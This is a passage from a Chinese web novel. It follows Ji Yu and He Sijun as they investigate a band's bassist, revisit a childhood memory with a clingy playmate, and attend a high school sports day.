纪羽怕距离太远声音录不着, 也跟过去。 梁子尧颇为受宠若惊:“怎么了,有什么话要和我说?” 纪羽左右转转脚踝:“没什么。” 梁子尧低头扒饭, 吃得很急, 像是真饿了,着急吃了两口才道:“你吃了没?” “吃了。” “这冬瓜炒得挺好吃。” “嗯。” 梁子尧挑眉:“你不是不吃冬瓜吗?” 纪羽低头瞥他:“你怎么知道。” 梁子尧嘎嘎乐:“我瞎猜的!” “……无聊。” 纪羽觉着声儿也录得差不多, 就想走了。 “等会儿我, 我马上就吃完了。”裤腿被人揪住了,纪羽想走也走不了。 “你吃完就吃完了, 和我又没关系。”缠上他做什么。 梁子尧:“吃饭没人陪多没意思啊, 饭都不香了。” 纪羽:“你以前在食堂不是吃得好好的。” “食堂里有同学,这儿就我一个人。”梁子尧可怜巴巴地叹口气, “待会儿要是有人路过,看我一人孤零零地在这, 还以为我被孤立了呢。” 纪羽抱臂冷冷道:“你事好多。” 梁子尧知道这是得逞了, 欢快地埋头吃饭, 时而点评一声。 “你知道二食堂推了新菜马蹄炒腊肉吗,味道还不错,下次我……” 话说到一半, 被一道横插入的人声打断。 “纪羽,可以回去了。” 贺思钧个高肩宽,站在楼道转角,将微弱的光照挡了大半,嗓音冷淡。 纪羽也站累了——楼梯上站了水渍他嫌脏不肯坐。闻言很快应道:“哦,那我先走了。” 后半句话是对梁子尧说的。 梁子尧却也站起身:“一起呗,刚好我回去借宿舍钥匙。” 就这一小段路,还非得三人一块走,纪羽问:“要不要手挽手啊?” “下次吧。”梁子尧羞涩道,“今天我衣服都湿了,下次一起。” 纪羽翻个白眼,手上一阵拉力,眼前一晃就到了贺思钧身旁,贺思钧放开他手臂:“走了。” 走就走,动手动脚干什么。 纪羽不自在地摸手腕,又很快放下,动作在外人看来像是在擦拭。 贺思钧面色不改,眼神却渐渐沉下。余光中梁子尧挑起嘴角扯了一下。 本性难移- 午休结束前风雨彻底停下,电路也抢修过来,临时休假的美梦被击碎,一帮人怨声载道地捱过一个下午。 放学铃一响,纪羽就急匆匆地出了校门,掏出手机编辑音频上传。 【和气生财2.0(6)】 【Yv:[阜南路45号.mp3]】 【Yv:这声音和那个人的像吗?】 【辽光:?】 【辽光:我听听。】 过去数月,辨认一道不熟悉的人声,实在强人所难。 但纪羽实在有些憋不住,万一就这么抓住了人呢? 以前梁子尧的怀疑值如果只是50%,在发现他发出音乐节邀约后嫌疑值就飙升至70%,在主席台上检讨还十足张扬,嫌疑值再升10%。 【贝旬:这是谁?】 【Yv:认识的人。】 【辽光:???】 【Yv:@辽光你听出来了?】 【辽光:[抠鼻]】 “这什么意思啊,辽光这是什么意思啊!”纪羽急得团团转,回神一瞧才发现自己又到了出租屋,全程就像梦游一样,一点都没察觉。 贺思钧在厨房洗菜,碧绿的菜叶折射水光,他一言不发,搓洗着菜梗。 【Yv:什么意思,你说句话呀@辽光】 【Yv:@辽光】 【Yv:@辽光】 【Yv:@辽光】 【Yv:@辽光】 【辽光:夹成这样,谁听得出来?】 【Yv:?】 【辽光:他能发出一个正常男性应该发出的阳刚声音吗,这是在哪录的,你偷录他和小姑娘谈恋爱?】 【Yv:……】 【Yv:到底是不是?】 【辽光:我其实吧,没有太多心思听一个陌生人讲话,毕竟演出呢还是应该全神以赴……】 【贝旬:全神贯注。】 【Yv:全力以赴。】 【辽光:大差不差,都一样!】 【Yv:就是你听不出来对吧?】 【辽光:你让老麦来听,他也不一定听得清楚!】 这时候是饭点,老麦忙着呢,一时半会儿怕是回不了消息,纪羽暂时放下手机,抵着头深思。 其实用声音辨别也不保险,音色相似的人一抓一大把。 真就那么巧,那个贝斯手刚好就是他隔壁班他从未注意过的同学? 如果真是梁子尧,又为什么呢? 他们俩交集不多,除了在一个学校一个班里上了几节课,称不上有特别关联。 再说,他加入乐队的事,只有贺思钧一人知道。 贺思钧总不会是那个走漏风声的人,他一向很会保守秘密。 “吃饭了。”贺思钧喊道。 两个人吃饭,贺思钧做了四道菜,纪羽这碟吃两口,那盘夹一筷,每道尝尝也吃下去不少。 吃过饭,贺思钧照例收拾桌面、洗碗,纪羽没进卧室,在沙发上坐着。 “明天开始,我晚上就回家吃饭了。” 贺思钧沉默着挤了一泵洗洁精,半晌才说道:“好。” 纪羽仰头看着崭新明亮的灯泡,直到眼前出现层层叠叠的光晕,如纱般朦胧。 “贺思钧。” 贺思钧不应。 纪羽又叫了一声:“贺思钧!” 水声不减,贺思钧在搓筷子。 “贺思钧贺思钧贺思钧贺思钧……” 水龙头被关上,水珠凝在出水口,要落不落。 贺思钧把手擦干,走到沙发边上,低头看他:“怎么了。” 光晕被贺思钧遮住,纪羽仰着头,看人的视角也颠倒,浅绿光斑在眼前漂浮。 “你别生气了。” “我没有生气。” 纪羽坚持:“你有。” 贺思钧说:“我不会对你生气。” “怎么不会,”纪羽坐起身,眼前黑了一瞬,很快又显现出贺思钧的轮廓,“你又不是机器人。” 他还没开始正式实行他的计划呢,贺思钧怎么就提前反应。纪羽认为弄明白贺思钧的感情波动机制也很重要。 贺思钧沉默着,像一块漆黑的坚硬的石头。 纪羽合上干涩酸胀的眼睛,又睁开,直截了当地:“快说,你现在在想什么。” 贺思钧动了,走到卧室去,纪羽看到他拿了眼药水出来。 纪羽自觉抬头,冰冷的药水滴进眼睛,贺思钧把他的眼睛盖上。 “没什么。” 纪羽拨开贺思钧的手,不低头也精准无误地踩到贺思钧的脚:“说呀。” 纪羽不好好闭眼,药水从眼尾滑出,把睫毛浸得湿淋淋垂下。 手指在光滑的脸颊上触碰后远离,那颗小痣也是平滑的,他碰过后,透明的药水滑过它。 “你给梁子尧送饭。” 纪羽顿了一下:“就因为这个?” 贺思钧不答反道:“你说过不喜欢他。” 纪羽问:“所以呢。” 贺思钧用掌根抵住他的脸颊,用纸巾把他脸上的水迹都吸走了。 “所以不要再和他接触,他不是好东西。” 纪羽惊奇道:“你还会骂人呢!” 贺思钧还是第一次这么直白地评价一个人呢,不,好像也不是第一次。 房间内闪了一下,纪羽偏头看向窗外:“又要打雷了。” 纪羽严阵以待,却迟迟没等来雷声,他又忍不住追问道:“你为什么觉得他不是好东西,是不是你知道什么没告诉我?” 急于验证想法的纪羽不停回想,阴谋论起来:“你是不是被威胁了?所以每次我和梁子尧有接触你就情绪不稳定。” 贺思钧好像也被他的脑回路震撼了,一时没有答话,半晌才说道:“不是。” 好吧,纪羽只是提出了一个概率很小的假设,因为往往这些很不可能的猜想才是电影中最后的真相。 至于那个最有可能的选项,纪羽暂时将它放置一旁。 “你不看群消息吗,我不找他说话怎么录音,你都不知道,前两天他还在微信上问我要不要去音乐节。” 贺思钧绷紧下颌:“他去了?” 纪羽很不解看他一眼,对他完全抓不清重点感到奇怪:“那我怎么知道,他去不去又不重要,重要的明明是他就刚好问我要不要去这个音乐节!” 贺思钧这才道:“梁子尧很可疑。” 他是完全不介意纪羽对他的态度如何变化的,纪羽的心思三天两头地变,比起之前不叫他近身也不允许对话已经好了千百倍,纪羽可以不回应不原谅,这都是纪羽的权利。 只是实在让贺思钧不能忍受的是,纪羽的纪羽的注意力被梁子尧用一种拙劣的手段占去。 不管梁子尧是不是那个贝斯手,他都达成了目的,像很久之前一样,他又一次痴缠住纪羽—— 作者有话说:小鸡有话说:啾啾啾啾啾啾啾啾啾啾啾啾啾啾啾啾啾啾! 第56章 宁海进入雨季, 水花接连不断地绽放,地表粘稠,湿泥纠缠脚跟。 细雨蒙蒙, 纪羽仍闹着出门。 “下雨天,没人会到公园里玩。”纪律抱臂垂眼。 时年仍是小学生的纪羽个子长得慢, 教室里坐第二排,脸也是稚嫩的,掐得出水似的脸庞还带着婴儿肥。 他把下巴一扬, 跺着脚, 很不服气:“别人不去是别人呀,我要去!” “那你自己去, 你自己走吧。” 像是没预料到纪律会轻易地放过他, 纪羽蹬地的脚半落不落,悬在半空, 身形不稳地晃了一下, 很快站稳。 用上挑的眼角瞄纪律:“这是你说的哦,反悔的人是猪!” 纪律不置可否, 看着纪羽跑上跑下, 收拾了鼓鼓囊囊的背包,从储存间里翻出他鹅黄色的雨衣, 细致地把每个扣子摁紧把自己包得像企鹅后才发觉背包露在外面。 下意识向纪律投去求助的目光,纪律却说:“笨蛋, 自己想办法。” 纪羽只好又废九牛二虎之力把雨衣脱下, 把包揣好, 再重新穿上。 雨衣快要撑炸了,纪羽从一个矮墩墩的企鹅成为又胖又矮又累的企鹅。 还没出门,纪羽已经累了, 但回头瞧了纪律一眼,还是哼了一声穿上雨鞋,拧开门把手出门。 雨衣的帽子挡不住飘来的雨丝,纪羽一出门就睁不开眼了,于是不得不心不甘情不愿地折返回去,拿了一把雨伞,好在他想起自己还需要一点零钱,没再多跑一趟。 纪羽出了门,在公交站里等了足足二十分钟,才等到姗姗来迟的公交。 为了方便活动选择的雨衣此刻却很麻烦,水珠从衣服上一颗颗滚下,纪羽不能坐下,因为会把座位弄湿,只好站在后车门边上,随着车子颠簸而绕着杆子转动。 雨水全部从他身上滴到了车厢的地板上,纪羽低着头,像一颗被暴雨袭击蔫吧的蘑菇。 终于捱到了到站,纪羽跑得太急,在下车摔了一跤。 贺思钧打开门时就看到了可怜巴巴的一颗蘑菇,蘑菇举起手,说:“我的伞摔坏了。” 头发湿漉漉地贴到额头上,雨衣也破了洞,雨靴里居然也灌了水。 短短的一段路程,居然有那么多的艰难险阻。 贺思钧向纪羽身后望了一眼,一辆灰色的车停在拐角处,车牌被遮挡了,很像是纪律的车。 不过车里的人应该不是纪律。 不然如果是纪律送他来,纪羽怎么还会被淋湿呢? 纪羽一步三滴水地进了家门,在乔青燕的关切的呼声中重新变得洁净温暖,贺思钧居然已经比他高了,纪羽小心地把长出的袖口折起来,没有声张。 “走吧。”纪羽拿起雨伞。 “去哪里?”贺思钧很不解,外面还在下雨,后院的草地都变得泥泞起来,贺泰安取消了对他的晨跑训练,一部分原因是贺泰安的旧伤复发无暇顾及,另一部分则是因为这是个不适宜出门的天气。 因为这接连不断的雨,宁海市内已经出现了许多起意外,医院的急诊也爆满,许多人生了病。 贺思钧知道,是因为他跟着贺泰安去到像冰窟似的病房里,和某个他见过几次面的叔叔告别时见到了。 这样的天气,还要持续好多天。 贺思钧在家里学习,没想过纪羽会来。 纪羽对他的表现很不满意:“我们约好了,你忘了吗?” 贺思钧觉得这个“我们”要打一个疑问。 因为这是纪羽单方应下的邀约,他没有发表过看法,更不要说答应。 但如果不承认他参与的一部分,这个“我们”就要把他排除在外了。 贺思钧只好忍耐住没有纠正,而是说:“外面在下雨,他不会去。” “为什么不会?” “这是下雨天,不适合出门。” 纪羽无暇顾及再次翻出的袖口,一心与贺思钧辩论:“但是我就出门了呀,我可以出来,其他人也可以。” 手心的挫伤被长袖盖住,贺思钧看不过眼地替纪羽整理,并把这当做最切实的证据。 “所以你受伤了,说明下雨天很不安全。” 纪羽不让他碰自己,不懂贺思钧怎么会突然变成不守信用的人:“我只是不小心,和下雨天没有关系!如果你不去,那我就自己去好了,胆小鬼。” 贺思钧:“我不是胆小鬼。” 纪羽抱着齐胸的长柄伞,伞骨戳到小臂,软绵的肉陷下小坑:“那你就是叛徒,不守信用。” “……”贺思钧沉默,他拽住伞柄,轻松就把伞从纪羽怀里抽了出来,“如果他没有去呢?” “那他就是叛徒。” “只去五分钟,他不在我们就回来。” 贺思钧和他约定,纪羽很爽快地同意了。 不过出门时遇到了一点小阻碍,乔青燕煮了糖水,说服纪羽留在家里玩,看会儿电视,玩一会儿游戏,吃饱喝足后还可以在这里睡一觉。 听起来确实不错,纪羽咽下口水,抵制住诱惑。 那个人没来也不错,他可以回到贺思钧家里,吃糖水,好好地享受这来之不易的长假,贺思钧也会陪他玩,以前也是他们俩,没什么不好的。 纪羽的心思开始动摇了,但他好不容易才赶过来,和纪律大吵了一架,脚也走得酸了,衣服都湿透了,如果那人没有遵守承诺,那他这些努力可都白费了。 一把伞在雨中撑得摇摇晃晃,纪羽说他是哥哥,非要掌握撑伞的大权,结果没走几步,手腕就酸了,伞面也不听使唤地倒来倒去。 不知道被伞骨打了几下脑袋,贺思钧终于从纪羽手里将伞夺过,稳稳地撑在头顶。 因为是贺思钧主动要的,不能算是他欺负弟弟、没有尽到责任,纪羽的自尊心完好无损。 低头跳过不知道多少个水坑,公园终于到了。 “他没来。”贺思钧扫视一圈,下了定论。 纪羽眨去飘进眼里的雨丝,有点气闷又有些落寞,仍是不服气:“可能他只是晚到一会儿,不是不来。” 贺思钧带他到“蛋壳”下避雨。 “还有四分半,他不来我们就要走。” 纪羽不说话,随手捡了根木棍低头刨地,嘴角倔强地拉得平直。 原本贺思钧把伞撑开放在洞口阻挡雨丝飘进来,过了一会儿他又把伞收走,自己偏身挡住了雨水。 伞太显眼了。 贺思钧希望那人不要来,就算来了最好也不要发现他们在这。 再等三分钟,他们就可以一起回家去。 莲子再焖着就要煮烂了。 时间一分一秒过去,贺思钧对时间的把控很精准,尽管纪羽不知道,他还是没有提前结束倒计时。 倒数十几秒,贺思钧准备钻出“蛋壳”把纪羽拉出来。 在曲腿的前一刻,一道声音欢快地随着来人挤进本就拥挤的空间。 “哥哥,我来了!” 明明个头比纪羽还高,生日只比纪羽小了三个月,却还一口一个哥哥地叫着纪羽,声音也故意这么软绵绵,像难听的老山羊叫。 贺思钧冷静地看着他亲热地即将抱上纪羽的胳膊,把纪羽从他身边拉开了。 “你身上湿了,别碰他。” “我太着急了忘记撑伞才弄湿了嘛。”他对着纪羽又是发出拖长的咩声,贺思钧攥着纪羽折起的袖口,修剪平齐的指甲掐进去,像扼住谁的喉咙。 这很正常,贺思钧对自己说,纪羽可以有其他朋友,就算是他不喜欢。 可看着那人径直抓起纪羽的手腕,他还是很不高兴。 好在纪羽把手拽了回来,藏进小腹和大腿折叠的空间里。 “哼。” 时间在等待里被延长,纪羽觉得自己等得很久很久,小弟才姗姗来迟,雨雾打湿的衣服贴在身上在狭小空间里闷着又格外难受,脾气有点上来,见着人反而不想和他多讲话了。 “你等很久了吗?” 小弟小心翼翼地发问,顺从的语气让纪羽心中稍慰,愿意开口了:“你怎么来那么晚!” 哪有小弟不在大哥先到的道理。 “我去买东西了,喏,你看。”小弟弓着腰站起身,把上衣裤子口袋都掏了个精光,“特别好吃,我一直都想分给你吃,给你这个!” 贺思钧看他翻出一堆乱七八糟他字也认不得几个的零食,才想阻止,就见纪羽嘴里鼓鼓囊囊已经含了块糖。 “这个我吃过,白色包装的才最好吃…妈妈坐飞机给我带过……超市里有卖这个吗?” 小弟笑眯眯地好似没有听到后半句,把包装纸收进裤兜:“我以为你喜欢吃巧克力的,那我下次把香草味的带来。” 小弟是好意,纪羽也没有多想,他点点头,想招呼贺思钧一起分享,小弟就凑过来说悄悄话。 “真的?” “嗯,我们可以现在过去。” 纪羽才答应前往秘密基地,就被小弟一拉拽出去了,他跑着不忘回头喊:“贺思钧,快来!” 他们俩都没带伞,在雨里狂奔,贺思钧拿着伞,也没有撑,不远不近地跟在后面。 每一次,甚至从第一次开始,他就想夺走纪羽的注意力。 一张笑脸迎着,像玩乐似的引着纪羽离开,去这儿,去那儿,总之要纪羽无时无刻不新奇,好对比出贺思钧是多么乏味无聊的朋友。 竟然过了这么久,依旧阴魂不散。 第57章 “你是说, 他们俩是同一个人?”纪羽仰着茫然的脸。 “嗯,你不记得了?” “我当然记不住啊。”纪羽摇头,“那都很久以前了, 而且也只玩了几天,他怪怪的。” 新收的小弟听话, 说出的每一句话都能被稳稳接下,没有任何异议,如果不是因为他足够贴心懂事, 纪羽也不会同意他加入队伍。 不过, 相处得久了,纪羽也发觉小弟没有一开始那么乖巧, 而且总是做着奇怪的举动。 “你为什么总是要凑到我耳边说话, 大声一点让贺思钧也听见呀。”纪羽这么说。 小弟羞涩地笑一下:“我有点怕生…” 纪羽不明白:“你是一起认识我们的呀,为什么要怕贺思钧, 好奇怪。” “对不起哥哥, 下次不会了,我只是想和你多说话。”小弟很诚恳地道歉, 却依旧我行我素。 甚至表现得比之前更粘人了。 “我们明天还能见面吗?” “晚上我打电话给你我们一起聊天好不好?” “哥哥, 你去哪里,带我一起。” 无论走到哪儿, 哪怕纪羽要去方便一下,小弟都要说好巧他也要。 想块甩不脱的膏药, 撕扯下来也会附着黏稠的残留物。 还不等纪羽想出个小弟为何这样的所以然来, 贺思钧就不愿意再和他一块儿到公园里去了。 纪羽衡量了一小会儿, 就彻底把小弟放下了。 只短短相处了半个月,又隔着近十年,纪羽早就忘了便宜小弟的模样。 “那你怎么不早说?” 贺思钧:“之前他没有贴上来。” 既然梁子尧没有动作, 他有什么必要提起让纪羽想起他来? 雨点敲击在雨棚上,咚咚咚咚,纪羽无端起了一身鸡皮疙瘩。 “你说他认出我来了吗?”纪羽搓搓胳膊。 贺思钧看着纪羽与从前别无二致的长相,用沉默做了回应。 纪羽又问:“他以前也不叫这个名字啊,他叫……” “……” 纪羽挑眉:“你不记得了?” “他一天到晚都在和你说悄悄话,我听不见。” …纪羽挠脑袋:“我也忘了,好像叫什么小马,应该是姓马吧。” 他都没叫过几次名字,因为一扭头就能看到人在背后蹲着站着。 “可能他改过名或者只是随口一说。” “我还以为你忘了这件事呢。” 贺思钧不吭声,走回水池收拾餐具,显然是记得清清楚楚。 一点细节都忘不了。 窗外雨声不减,室内水声哗啦。 第二天,在校门口纪羽主动拉住了梁子尧。 梁子尧依旧热情地和他打了招呼,一路极其克制地没有多聊,走到教室干脆地说了再见。 纪羽听他嗓音,没有丝毫不自然,利落清晰,不似辽光和他争论的“夹子”。 老麦也说,有点像,听不清楚,不能确认。 纪羽也没把希望寄托在此,只是刚好试一试,只是没想到带出了从前那点小纠葛。 雨停了又下,宁海整整一周没见晴,在一中学子日夜祈祷之下,终于,运动会前一天,晴空万里,整整一个晚自习,众人都在期盼中度过。 纪羽不在其中,他没在家,也不在出租屋,而是赶到了那所琴行。 出乎意料的,老板是个地中海,外形敦厚,面容朴实,手上的大金表相当耀眼,在明亮的光源下变着角度地闪亮。 “现在招人不好招啊。”地中海愁得用手抛光脑门,试探地,“提成再给你加三个点……五个点!” 曲坚靠着柜子搅咖啡,顺时针一圈,逆时针一圈,有点心动,纪羽轻咳一声,他才直起身拒绝道:“还是算了,前段时间贴了招聘海报,有几个人来问过,电话我记下来了,您看着挑一挑吧。” 见曲坚去意已决,地中海…老板也不再坚持:“好吧!当初能请到你也是我捡了漏,能找到像你这么有经验的人不容易啊。” 又是销售又能给全店里里外外的乐器做保养,也不要节假日,全年无休,一个人撑着店面,简直是无数老板梦寐以求的员工。 可惜,曲散终有时,老板也是性情中人,想到得再招至少两人多出的工资就忍不住热泪盈眶。 曲坚也为这这一份清闲得来的工资逝去而倍感悲伤,默默不语。 场面一度很悲情,纪羽惊疑不定地在两人间来回扫视,心道自己难道无意中做了狠心的王母娘娘。 不待纪羽生出愧意,曲坚已调整妥当:“这…还差几个月年终……” 老板眼底的水光倏然不见:“对了,你们是不是还有事要问我?” 纪羽按住曲坚蠢蠢欲动的拳头:“我想问,那把贝斯,是从哪里得到的?” 老板眯缝了三角眼:“这贝斯有问题?” “贝斯没问题,我想知道这把贝斯原先的主人是谁?” 老板背手,挺起肚子走到货架中,为难似的:“我年纪大了不懂这种弯弯绕绕,不过照你们年轻人的话讲,是不是得保护个人隐私,我们做生意啊,也讲究一个维护客户……” 眼见老板即将喋喋不休,纪羽举起手机往收款码上一扫:“店里的配件都包一份,老板——多少钱?” …… 关上店面,拉上卷帘,把钥匙交给老板,算是彻底结束了这一天。闪烁的路灯下影子时有时无,眼角带过曲坚手里零零散散的纸币,纪羽手插着兜慢悠悠地走着。 “分你一半?”曲坚良心发现似的。 纪羽不看他,视线落在远处,巷口处一派灯火璀璨。 “本来就是我的钱。”他哼道。 曲坚把钱揣进胸前,拍了拍:“辞职前还能薅笔提成,这是你师父的本事,钱到自己人手里不比你把钱全给那老头好?还好收银台那还有点零钱,叫他转个账真够磨蹭的……” 闷闷的撞击声随着步子响,曲坚把手一伸:“行了,我给你拎着,东西甩着也不怕都摔烂了。” 纪羽换了只手,闷闷道:“不用。” 曲坚走到另一边把袋子提起来,省得再和纪羽的大腿碰撞摩擦:“那个人你认识?” “说不清楚。” 再之后怎么问,纪羽都不肯说了,迷糊着上了车,到了小区门口坐了好一会儿,才听到司机提醒他下车。 车门从外边打开了,贺思钧毫不意外地出现,接过袋子,手在车门顶上挡着,纪羽果然撞上了。 虽然有手缓冲,但撞到的头顶还有些麻,风拂过,凉凉的,纪羽忙探手揉了揉头顶,摸到一丛茂盛,才放下心来。 车开走了,纪羽走到小区门前的花坛处,一屁股坐下。 “贺思钧,一个人能同时拥有两个名字吗?” 贺思钧在他身边坐下:“登记名和小名?” 纪羽摇头:“不是,有名有姓的那种。” 贺思钧:“法律上只支持一个现用名。发生什么了?” “早知道让你和我一块儿去了,”纪羽懊恼,“我感觉脑子都转不过来。” “我……” “要是你也在就不止我一个人傻了。” 不待贺思钧回答,纪羽说道:“我知道他的名字了。” “是什么?” “莫满。” 纪羽从花坛上站起来,又站上花坛:“老板告诉我,那把贝斯是他儿子的,这只是其中一把。” 风里仿佛残留着雨水的气息,带着泥土被翻起的腥味,纪羽居高临下地看着贺思钧:“不是梁子尧,不是他。” 贺思钧对这个结果没有显出任何吃惊的神色,只是面部肌肉绷紧了,几乎很难察觉,这么轻微的反应不符合纪羽的预期,让他闷闷不乐,他听贺思钧问:“那接下来,你想怎么做。” “不知道!”纪羽从花坛上跳下来,这是个很危险的举动,突然的压力可能会让他本就脆弱的血管突然爆裂,也可能会让他崴了脚,因为他缺少运动的四肢总是因为各种小事受伤,继而发展得更严重。 不过也有可能,他什么事也没有。 贺思钧接住了他,手臂紧紧箍住他的腰,纪羽的脚尖悬在离地几公分的位置。 纪羽用力拍贺思钧的手臂,才让贺思钧松了手,纪羽平稳落地。 贺思钧把他放到远离花坛的一侧。 “不要突然跳下来。” 纪羽不以为意似的,把外套重新扯平整:“很矮的,你不抓住我我也没事。” 贺思钧不赞同,但又不想对纪羽说什么让他也不高兴,只能把嘴闭起来,一言不发。 “下次我提前说,好吧,就这一次,以前不都让你接了……”纪羽嘀咕两句,又转回到原本的话题上,“我拿到了他的联系方式,我是不是该约他出来见一面好好聊一聊?” 最后几个字,纪羽加重了语气,像把胸腔里的气儿都一并吐了出来。 听到这个名字是,第一感觉是奇怪,奇怪有人会起这种名字,念了两遍后又生出一股诡异的熟悉感。 接着,纪羽竟然在失落。 如果真的梁子尧就好了,至少他们“熟悉”,纪羽想,就算往那张脸上伸拳头,也不会有任何心理负担。 他怀疑又戒备了那么久的人不是梁子尧,纪羽挫败不已。 贺思钧把袋子提起来,塑料摩擦的窸窣声让人心烦意乱。 “你打过电话了吗?” “没有,”纪羽说,“我还没想好要怎么说。” “现在打吧。”贺思钧猜测,“有可能是假号。” “不会吧……”纪羽感觉自己表现得很友善,也没有暴露想打老板儿子的企图,但还是掏出手机,拨通了那则电话。 “嘟——” 第58章 好消息, 电话持续响应,说明这并不是空号。 坏消息,没人接听。 数道嘟声后, 机械女声代替了回答。 “您好,您拨打的用户暂时无法接听, 请稍后再拨……” 纪羽胸膛里那颗器官像被塞进滚筒洗衣机脱水,翻腾着,滚动着, 一会儿被高高抛起一阵儿惊惶的失重, 一会儿又重重落下,啪地黏着筒壁。 他也不清楚, 自己是不是真的想找到那个贝斯手。正像他梦里无数次靠近真相的一刻, 一切都暂停了。 电话无人应答,他也不明白自己是失落多一些, 还是庆幸一切不必就以如此迅疾的速度到达最后关卡。 “莫满。” 他听见贺思钧重复这个名字, 不带有丝毫感情。冰冷,让他忍不住打颤, 又降温了, 每次雨后宁海都会变得更冷。 贺思钧说:“在没见到人之前,梁子尧也不一定无辜, 别和他走太近。” 纪羽同意了,他仰着脸, 眼睛里什么都没有, 像刚破壳的雏鸟:“嗯。” 纪羽知道贺思钧应该会做什么, 但没想到第二天他就带来了消息。 “他出国了。” 纪羽正在赶提前布置的作业,今晚承风有一场排练。闻言,他扭过头:“你怎么知道的?” 莫满的联系方式在网上都无法搜索到社交账号, 手机号绑定的身份信息也不是他本人,贺思钧转而查了那个老板的所有信息。 好消息是莫满确实存在,不是随口杜撰的人物,但他本人不在宁海市内,通过几条汇款信息发现,两月前,他离开了宁海市。 “你这么查合法吗?”纪羽紧张地问。 贺思钧没有作答,纪羽庆幸他还没成年应该不至于坐牢。 阴风晦雨暂且放置一旁,万众瞩目的运动会终于拉开帷幕。 各班代表举着牌,浩浩荡荡地进场。 柳承作为最高个被安排走在最前边,纪羽从队伍里探出头,总觉得下一秒柳承就要像螃蟹一样侧着身子横着走,因为他全身像钢筋做得似的格外僵硬,腿都不能打弯。 或许是因为紧张,柳承的表情格外严肃,紧绷着脸,左右两个班级代表都不敢站得太近,他们班两旁的过道比其他班级宽敞得多。 才想换位置到最前排去和柳承说两句话安慰安慰,后头砰得一声,惊得操场上所有人都在回头。 烟花礼炮似乎出了故障,还没等一众人致辞就迫不及待地发射。 众多烟火紧接着第一枚的炸响升起。 彩烟拖着长尾冲向天空,像狐狸的尾巴般蓬松,也像瀑布,从半空中倾泻。 尚停留在树梢上的鸟雀被惊起,扑飞了一片。 不算多华丽却也热闹,在每日重复着枯燥的学校内一点新奇就足够叫人激动,惊叹声此起彼伏,很给面子。 这是他在学校参与的最后一场运动会了,纪羽突然冒出这个念头,尽管这才是他第二次参加而已。 纪羽环顾四周,熟悉的不熟悉的同学都在这一块被划定的草坪上,再过几个月,他们可能再也不会见面。 或许其中有些人已经期待很久再也不见的那天,但纪羽莫名地把这一幕记了下来,大概是为了填补不讲理由出现的空虚。 “快看快看,还有。”身旁的顾英杰激动地拍他的肩膀,张大的嘴巴显得很傻。 要知道为了今天,他比平时多打了一倍的发胶,头发丝都显出成熟的油腻感,校服底下是他精心挑选的紫色运动服。 礼炮还在响起,纪羽也顺着他的视线看去。 众人抬着头望天,贺思钧穿过丛丛人影,看着纪羽。 他察觉到有另一股视线落在同一个方位,但他没有去追,只紧紧用目光裹住他的小鸟。 不到一分钟,所有礼炮都燃尽了,彩烟在空中散得飞快——今天刮了风。 话筒招呼了几声,才将众人视线拉回。 最重要的环节已经过去,冗长的发言也不得不缩减,在台上简洁地走完流程,宣布运动会正式开始时,底下爆发出更强烈的欢呼。 各班按安排进入各自的场地休息,高三被安排在看台上,离广播区很近,纪羽能听到播报员的声音在耳边和喇叭中先后响起。 所有人都带着纸笔,班长提醒半小时后收第一份广播稿。 纪羽掰着笔帽,冥思苦想。 过了没一会儿,就听到班里人在喊李老师。 李玄穿了身柔和的浅麻色套装,宽松,舒适,眉眼间的严肃也褪去,笑道:“别吵啊,被别人听到就不好了。” 她买了饮料和吃的来,几个学生主动分发,众人压着嗓音小声但掩不住惊喜道:“谢谢李老师。” 李玄前段日子回归了班级,瞧着跟以往没什么区别,也没有多提不久前上班路上的小事故,但走路时放缓的步调和时不时掩在腹部的手臂,都让人猜到,她有了新的在意的对象。 原来有时候,需要隐瞒的不只是伤痛,还有不需要向外人袒露的喜悦。 纪羽收回目光,跟着其他人一同道谢。 有人围过去李玄身边聊天,纪羽还在一份广播稿上挣扎。 左右看看,贺思钧先不指望,纪羽凑到柳承身边。 “你写好了吗,借我看看。” “什么?”柳承在解一道数列题,过程细致得叫纪羽看着手酸。 “广播稿。” “哦哦,我没写。”柳承不好意思地抓抓脑袋,“班长说今天上午有项目的运动员不用写广播稿。” 纪羽眼睛圆圆:“你报名了?!” 别看柳承个高又壮,全身肌肉发达,看起来绝对是个运动的好苗子,但纪羽知道要是让他在大庭广众下跑步,没几米就会上演左脚绊右脚自相残杀的惨剧。 上一次运动会比赛项目强制报名,还是纪羽把他从体委的魔爪下解救出来,转而在项目申报表上填上贺思钧的名字。 柳承弱声弱气:“报名的时候你们不在,剩下几个项目没人,舒文说铅球最好,扔完我就可以走了。” 纪羽关切:“那你小心别把球砸脚上了。” 柳承点点头:“我在家里练习过了,应该没事的。” “我会在边上看着你的,”纪羽拍拍他的肩膀,“你报项目了,那展舒文呢,她以身作则没有?” “她跳高。” 纪羽看了一圈,没见着她人:“已经去准备了?” “没有,跳高下午才开始,她趁教室没人回去睡觉了,噢,这是她提前写的广播稿。” 柳承掏出一沓便签,纪羽接过来从头翻到尾,判定没有丝毫借鉴意义。 什么雄鹰猛虎雄狮,写成动物列传了,没有新意。 柳承见他面带失落,于心不忍提出:“我替你写。” 纪羽大为感动。 解决了广播稿,纪羽体贴地为柳承留出私人空间,美滋滋回到自己位置上,发现贺思钧不知道什么时候坐了过来。 “你座位不是在后面么?” “我和顾英杰换了。” 偏头一看,就见顾英杰已经和女朋友牵上小手甜甜蜜蜜了。 想也是不会再回来,其他人也不会想和他换座和贺思钧坐一块儿。 纪羽认命地坐下。 贺思钧像在写广播稿,纪羽起了点兴趣:“写的什么?” 贺思钧大方地直起身让纪羽看,纪羽弯腰一瞧。 “……写得好烂。” “嗯。”贺思钧半点不羞愧。 怎么能把那么简单的东西写得那么烂? 看过柳承三分钟写一篇广播稿后,纪羽觉得这相当轻松,忍不住指点:“你干嘛要把日期和时间写上去,和流程单似的,改一下,不要写具体时间……” 贺思钧一句也不反驳,纪羽说一句他改一句,一通辅导后,总算有模有样。 时间差不多,班长来收稿:“把班级和名字写上啊。” 收到贺思钧的,她顿一顿:“纪羽的怎么有两份?你的呢?” 纪羽就在边上,自然听得一清二楚,朝贺思钧飞了个眼刀,解释道:“字丑一点的是他的,他写错名字了。” “没……” 纪羽堵住贺思钧的嘴,笑道:“就这样。” 班长也没多说,收了稿就走。 人走后,纪羽把手掌在贺思钧校服上来回蹭,很嫌弃似的。 贺思钧盯着他:“你教我写的,算你的。” 胳膊上像被蜜蜂扎了一下,是纪羽在掐他胳膊:“那我的还是柳承写的呢,算算算,这点小事算那么清楚!”” 贺思钧:“你的就是你的。” 